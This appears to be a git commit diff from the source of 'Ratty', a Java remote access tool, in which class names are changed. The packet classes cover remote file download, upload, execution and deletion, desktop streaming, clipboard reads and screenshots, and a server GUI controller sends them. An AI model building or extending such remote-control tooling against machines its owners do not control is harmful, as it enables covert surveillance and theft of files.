Browse Source

Minor changes

Renamed some classes
master
Sogomn 9 years ago
parent
commit
d737bd00b6
  1. 6
      Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java
  2. 6
      Ratty/src/de/sogomn/rat/packet/DeleteFilePacket.java
  3. 6
      Ratty/src/de/sogomn/rat/packet/DownloadFilePacket.java
  4. 6
      Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java
  5. 10
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  6. 6
      Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java
  7. 20
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

6
Ratty/src/de/sogomn/rat/packet/NewFolderPacket.java → Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java

@ -5,16 +5,16 @@ import java.io.File;
import de.sogomn.engine.util.FileUtils; import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.ActiveClient; import de.sogomn.rat.ActiveClient;
public final class NewFolderPacket implements IPacket {
public final class CreateFolderPacket implements IPacket {
private String path, name; private String path, name;
public NewFolderPacket(final String path, final String name) {
public CreateFolderPacket(final String path, final String name) {
this.path = path; this.path = path;
this.name = name; this.name = name;
} }
public NewFolderPacket() {
public CreateFolderPacket() {
this("", ""); this("", "");
} }

6
Ratty/src/de/sogomn/rat/packet/DeletePacket.java → Ratty/src/de/sogomn/rat/packet/DeleteFilePacket.java

@ -4,15 +4,15 @@ import java.io.File;
import de.sogomn.rat.ActiveClient; import de.sogomn.rat.ActiveClient;
public final class DeletePacket implements IPacket {
public final class DeleteFilePacket implements IPacket {
private String path; private String path;
public DeletePacket(final String path) {
public DeleteFilePacket(final String path) {
this.path = path; this.path = path;
} }
public DeletePacket() {
public DeleteFilePacket() {
this(""); this("");
} }

6
Ratty/src/de/sogomn/rat/packet/DownloadPacket.java → Ratty/src/de/sogomn/rat/packet/DownloadFilePacket.java

@ -5,20 +5,20 @@ import java.io.File;
import de.sogomn.engine.util.FileUtils; import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.ActiveClient; import de.sogomn.rat.ActiveClient;
public final class DownloadPacket extends AbstractPingPongPacket {
public final class DownloadFilePacket extends AbstractPingPongPacket {
private String path; private String path;
private byte[] data; private byte[] data;
private String fileName; private String fileName;
public DownloadPacket(final String path) {
public DownloadFilePacket(final String path) {
this.path = path; this.path = path;
type = REQUEST; type = REQUEST;
} }
public DownloadPacket() {
public DownloadFilePacket() {
this(""); this("");
type = DATA; type = DATA;

6
Ratty/src/de/sogomn/rat/packet/ExecutePacket.java → Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java

@ -7,15 +7,15 @@ import java.io.IOException;
import de.sogomn.rat.ActiveClient; import de.sogomn.rat.ActiveClient;
public final class ExecutePacket implements IPacket {
public final class ExecuteFilePacket implements IPacket {
private String path; private String path;
public ExecutePacket(final String path) {
public ExecuteFilePacket(final String path) {
this.path = path; this.path = path;
} }
public ExecutePacket() {
public ExecuteFilePacket() {
this(""); this("");
} }

10
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -12,11 +12,11 @@ public enum PacketType {
DESKTOP(7, DesktopStreamPacket.class), DESKTOP(7, DesktopStreamPacket.class),
CLIPBOARD(8, ClipboardPacket.class), CLIPBOARD(8, ClipboardPacket.class),
FILE(9, FileSystemPacket.class), FILE(9, FileSystemPacket.class),
DOWNLOAD(10, DownloadPacket.class),
UPLOAD(11, UploadPacket.class),
EXECUTE(12, ExecutePacket.class),
FOLDER(13, NewFolderPacket.class),
DELETE(14, DeletePacket.class);
DOWNLOAD(10, DownloadFilePacket.class),
UPLOAD(11, UploadFilePacket.class),
EXECUTE(12, ExecuteFilePacket.class),
FOLDER(13, CreateFolderPacket.class),
DELETE(14, DeleteFilePacket.class);
public final byte id; public final byte id;
public final Class<? extends IPacket> clazz; public final Class<? extends IPacket> clazz;

6
Ratty/src/de/sogomn/rat/packet/UploadPacket.java → Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java

@ -5,12 +5,12 @@ import java.io.File;
import de.sogomn.engine.util.FileUtils; import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.ActiveClient; import de.sogomn.rat.ActiveClient;
public final class UploadPacket implements IPacket {
public final class UploadFilePacket implements IPacket {
private byte[] data; private byte[] data;
private String folder, fileName; private String folder, fileName;
public UploadPacket(final String filePath, final String folder) {
public UploadFilePacket(final String filePath, final String folder) {
this.folder = folder; this.folder = folder;
final File file = new File(filePath); final File file = new File(filePath);
@ -19,7 +19,7 @@ public final class UploadPacket implements IPacket {
fileName = file.getName(); fileName = file.getName();
} }
public UploadPacket() {
public UploadFilePacket() {
folder = fileName = ""; folder = fileName = "";
} }

20
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -11,18 +11,18 @@ import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.IClientObserver; import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.CommandPacket; import de.sogomn.rat.packet.CommandPacket;
import de.sogomn.rat.packet.DeletePacket;
import de.sogomn.rat.packet.DeleteFilePacket;
import de.sogomn.rat.packet.DesktopStreamPacket; import de.sogomn.rat.packet.DesktopStreamPacket;
import de.sogomn.rat.packet.DownloadPacket;
import de.sogomn.rat.packet.ExecutePacket;
import de.sogomn.rat.packet.DownloadFilePacket;
import de.sogomn.rat.packet.ExecuteFilePacket;
import de.sogomn.rat.packet.FileSystemPacket; import de.sogomn.rat.packet.FileSystemPacket;
import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket; import de.sogomn.rat.packet.InformationPacket;
import de.sogomn.rat.packet.NewFolderPacket;
import de.sogomn.rat.packet.CreateFolderPacket;
import de.sogomn.rat.packet.PopupPacket; import de.sogomn.rat.packet.PopupPacket;
import de.sogomn.rat.packet.ScreenshotPacket; import de.sogomn.rat.packet.ScreenshotPacket;
import de.sogomn.rat.packet.UploadPacket;
import de.sogomn.rat.packet.UploadFilePacket;
import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.IServerObserver; import de.sogomn.rat.server.IServerObserver;
import de.sogomn.rat.util.FrameEncoder.IFrame; import de.sogomn.rat.util.FrameEncoder.IFrame;
@ -93,7 +93,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
} else if (command == FileTreePanel.DOWNLOAD) { } else if (command == FileTreePanel.DOWNLOAD) {
final FileTreePanel treePanel = serverClient.getTreePanel(); final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastPathClicked(); final String path = treePanel.getLastPathClicked();
final DownloadPacket packet = new DownloadPacket(path);
final DownloadFilePacket packet = new DownloadFilePacket(path);
return packet; return packet;
} else if (command == FileTreePanel.UPLOAD) { } else if (command == FileTreePanel.UPLOAD) {
@ -103,14 +103,14 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
final String localPath = file.getAbsolutePath(); final String localPath = file.getAbsolutePath();
final FileTreePanel treePanel = serverClient.getTreePanel(); final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastNodePathFolder(); final String path = treePanel.getLastNodePathFolder();
final UploadPacket packet = new UploadPacket(localPath, path);
final UploadFilePacket packet = new UploadFilePacket(localPath, path);
return packet; return packet;
} }
} else if (command == FileTreePanel.EXECUTE) { } else if (command == FileTreePanel.EXECUTE) {
final FileTreePanel treePanel = serverClient.getTreePanel(); final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastPathClicked(); final String path = treePanel.getLastPathClicked();
final ExecutePacket packet = new ExecutePacket(path);
final ExecuteFilePacket packet = new ExecuteFilePacket(path);
return packet; return packet;
} else if (command == FileTreePanel.NEW_FOLDER) { } else if (command == FileTreePanel.NEW_FOLDER) {
@ -119,14 +119,14 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
final String name = JOptionPane.showInputDialog(null); final String name = JOptionPane.showInputDialog(null);
if (name != null && !name.isEmpty()) { if (name != null && !name.isEmpty()) {
final NewFolderPacket packet = new NewFolderPacket(path, name);
final CreateFolderPacket packet = new CreateFolderPacket(path, name);
return packet; return packet;
} }
} else if (command == FileTreePanel.DELETE) { } else if (command == FileTreePanel.DELETE) {
final FileTreePanel treePanel = serverClient.getTreePanel(); final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastPathClicked(); final String path = treePanel.getLastPathClicked();
final DeletePacket packet = new DeletePacket(path);
final DeleteFilePacket packet = new DeleteFilePacket(path);
treePanel.removeFile(path); treePanel.removeFile(path);

Loading…
Cancel
Save